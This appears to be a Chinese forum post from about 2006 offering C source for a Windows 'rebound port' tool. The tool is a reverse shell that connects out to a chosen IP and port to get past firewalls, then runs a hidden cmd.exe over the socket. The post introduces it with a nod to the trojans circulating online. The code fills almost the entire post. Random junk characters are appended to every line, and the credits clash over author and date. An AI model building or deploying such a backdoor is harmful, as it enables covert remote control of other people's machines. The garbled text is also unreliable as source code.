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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 . HAFKB;  
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/* ============================== i O$ ?No  
Rebound port in Windows NT r4 qs!(  
By wind,2006/7 Z_>:p^id  
===============================*/ =F_j})O5  
#include Ox@$ }  
#include uc LDl  
'C@yJf  
#pragma comment(lib,"wsock32.lib") %BQ?DTtb7'  
Z A}!Rzo  
void OutputShell(); i8%Z(@_`  
SOCKET sClient; |W*2L] &  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ;u<F,o(  
{c7@`AV]  
void main(int argc,char **argv) M XuHA?  
{ .=) *Qx+  
WSADATA stWsaData; TCi0]Y~a  
int nRet; }%<cF i &  
SOCKADDR_IN stSaiClient,stSaiServer; =E:sEw2j  
4b}'W}  
if(argc != 3) IDdu2HNu  
{ [ Scao $  
printf("Useage:\n\rRebound DestIP DestPort\n"); "2 D{X  
return; iz+,,UH  
} }4Q3S1|U  
X@/X65=[  
WSAStartup(MAKEWORD(2,2),&stWsaData); Z1p%6f`  
w9Nk8OsL  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &SPIu,  
M #%V%<  
stSaiClient.sin_family = AF_INET; bPMf='F{r  
stSaiClient.sin_port = htons(0); SQN{/")T  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); <~e*YrJ?-  
SCjVzvG$yg  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 2o 7o~r  
{ BF"eVKA  
printf("Bind Socket Failed!\n"); %Rf{v5  
return; u3DFgl3-7  
} g@ ]1H41  
d <zD@ z  
stSaiServer.sin_family = AF_INET; BWr!K5w>i  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 4$4Tx9C  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); S+?*l4QK  
|BO5<`&I  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >b~Q%{1  
{ 7 ,Q7`}gBf  
printf("Connect Error!"); ,t|_Nc  
return; MfA%Xep  
} V'9OGn2v  
OutputShell(); slLTZ]  
} xscR Bx  
~8'HX*B]z  
void OutputShell() |1Nz8Vr.  
{ ^5+7D1>W%  
char szBuff[1024]; ANR611-a  
SECURITY_ATTRIBUTES stSecurityAttributes; )P|/<>z  
OSVERSIONINFO stOsversionInfo; V1A7hRjxvG  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; yKmHTjX=  
STARTUPINFO stStartupInfo; #XNURj  
char *szShell; "*KOU2}C  
PROCESS_INFORMATION stProcessInformation; kn WI7  
unsigned long lBytesRead; d8WEsQ+)A  
& fnfuU$   
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); RG/P]  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); VotI5O $  
stSecurityAttributes.lpSecurityDescriptor = 0; \;+b1  
stSecurityAttributes.bInheritHandle = TRUE; 8:]5H}H i  
lg@q} ]1  
5^Lbc.h  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Q?'Ax"$D  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); bf[l4$3k  
MN>U jFA  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |+=ctpx9&  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o Y<vKs^  
stStartupInfo.wShowWindow = SW_HIDE; clr]gib  
stStartupInfo.hStdInput = hReadPipe; YLV$#a3  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; D~TK'&  
oJI+c+e"  
GetVersionEx(&stOsversionInfo); W\e!rq  
Nt[&rO3s  
switch(stOsversionInfo.dwPlatformId) :k~ p=ko  
{ w!Z,3Yc)  
case 1: L)Da1<O  
szShell = "command.com"; 8 ;=?Lw?  
break; ">nFzg?Y  
default: 0JhUncx  
szShell = "cmd.exe"; If|i `,Iy  
break; 3W3d $  
} `?T8NK  
lPz5.(5'  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); =.9tRq  
^ .Q/iXgh  
send(sClient,szMsg,77,0); ~SEIIq  
while(1) ~$bQ;`,L  
{ S7CD#Y[s  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); aIN?|Ch  
if(lBytesRead) 1 EHNg<J(  
{ w Qp{z  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); UZE%!OWpeK  
send(sClient,szBuff,lBytesRead,0); p+{*w7?8"[  
} y{nX 6  
else 9(BB>o54r  
{ [wJl]i  
lBytesRead=recv(sClient,szBuff,1024,0); QSOJHRl=C  
if(lBytesRead<=0) break; BFn}~\wzK  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ?=?9a  
} yF^)H{yx  
} Q\$cBSJC1  
"C+Fl /v  
return; ,E4qxZC(X  
}
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